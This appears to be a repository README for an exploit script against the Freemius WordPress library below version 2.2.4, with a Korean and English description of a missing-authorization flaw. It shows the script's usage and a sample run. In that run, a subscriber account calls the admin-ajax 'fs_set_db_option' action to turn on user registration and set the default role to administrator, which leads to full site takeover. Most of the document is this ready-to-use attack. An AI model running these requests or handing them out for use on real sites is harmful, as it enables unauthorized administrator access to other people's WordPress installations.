randomrobbiebf/freemius-exploitFreemius Library < 2.2.4 - Subscriber+ 임의 옵션 업데이트
Freemius Library < 2.2.4 - Subscriber+ 임의 옵션 업데이트
많은 플러그인에서 사용되는 이 라이브러리는 블로그 옵션을 업데이트할 때 적절한 권한 검증을 수행하지 않아, 구독자와 같은 인증된 사용자가 임의의 옵션을 업데이트할 수 있습니다.
usage: exploit.py [-h] -u URL [-un USERNAME] [-p PASSWORD] [-f FIX]
Freemius Library < 2.2.4 - Subscriber+ Arbitrary Option Update Description: The library, used in numerous plugins, does not have proper authorization when updating blog
options, allowing any authenticated users, such as a subscriber, to update arbitrary options.
options:
-h, --help show this help message and exit
-u URL, --url URL Website URL
-un USERNAME, --username USERNAME
WordPress username
-p PASSWORD, --password PASSWORD
WordPress password
-f FIX, --fix FIX Reset after Exploit
$ python3 exploit.py -u http://wordpress.lan -un user -p useruser1
Plugin: wp-affiliate-disclosure Version: 1.1.4 Not found.
Info: Using plugin 404-to-301 running version 3.0.1
Vulnerability check: http://wordpress.lan
Logged in successfully.
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php?action=fs_set_db_option&option_name=users_can_register&option_value=1
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php?action=fs_set_db_option&option_name=default_role&option_value=administrator
You can now register a user as an admin user. Remember to run --fix yes after you have registered to prevent others exploiting the site.